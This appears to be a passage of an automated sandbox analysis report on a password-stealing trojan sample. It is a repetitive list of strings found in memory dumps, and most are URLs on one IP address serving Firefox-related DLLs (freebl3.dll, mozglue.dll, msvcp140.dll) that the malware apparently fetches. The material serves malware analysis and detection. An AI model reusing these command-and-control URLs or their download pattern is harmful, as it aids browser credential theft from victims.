Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dllC:j
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dllY
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlld
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dllk
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000644000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll0
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll66
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllMA
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dlld
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dlll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllo
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllq
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
